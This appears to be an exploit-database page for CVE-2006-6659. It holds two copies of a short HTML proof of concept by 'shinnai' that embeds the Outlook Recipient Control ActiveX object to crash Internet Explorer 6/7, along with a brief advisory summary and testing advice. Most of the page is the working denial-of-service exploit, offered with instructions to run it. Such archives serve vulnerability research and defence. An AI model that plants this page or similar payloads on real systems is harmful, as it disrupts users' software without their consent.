Materialized exploit
CVE-2006-6659
2 public exploit(s) for this CVE, 2 materialized with their code.
For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.
ExploitDB
dos windows Verified
Source
Microsoft Office Outlook Recipient Control - 'ole32.dll' Denial of Service
By shinnai
How to test this exploit
Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.
Code html
<!--
------------------------------------------------------------------------
Microsoft Office Outlook Recipient Control (ole32.dll) Denial of Service
author: shinnai
site: http://shinnai.altervista.org
mail: shinnai[at]autistici[dot]org
and, always, special thanks to rgod
Tested on Windows Xp Professional SP2 all patched
works with Internet Explorer 6 & 7
------------------------------------------------------------------------
-->
<html>
<head>
<title></title>
</head>
<object classid="clsid:0006F023-0000-0000-C000-000000000046" id="oLook" width="180" height="14"></object>
</html>
<!--
Just enable the control by clicking on it, then try to close IE.
-->
# milw0rm.com [2006-12-18]
ExploitDB
dos windows Verified
Source
Microsoft Outlook - ActiveX Control Remote Internet Explorer Denial of Service
By shinnai
How to test this exploit
Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.
Code html
source: https://www.securityfocus.com/bid/21649/info
The Microsoft Office Outlook Recipient Control is prone to a denial-of-service vulnerability.
An attacker can exploit this issue to trigger denial-of-service conditions in Internet Explorer or other applications that use the ActiveX control.
Specific information regarding affected packages is currently unavailable. This BID will be updated as more information becomes available.
<!--
------------------------------------------------------------------------
Microsoft Office Outlook Recipient Control (ole32.dll) Denial of Service
author: shinnai
site: http://shinnai.altervista.org
mail: shinnai[at]autistici[dot]org
and, always, special thanks to rgod
Tested on Windows Xp Professional SP2 all patched
works with Internet Explorer 6 & 7
------------------------------------------------------------------------
-->
<html>
<head>
<title></title>
</head>
<object classid="clsid:0006F023-0000-0000-C000-000000000046" id="oLook" width="180" height="14"></object>
</html>
<!--
Just enable the control by clicking on it, then try to close IE.
-->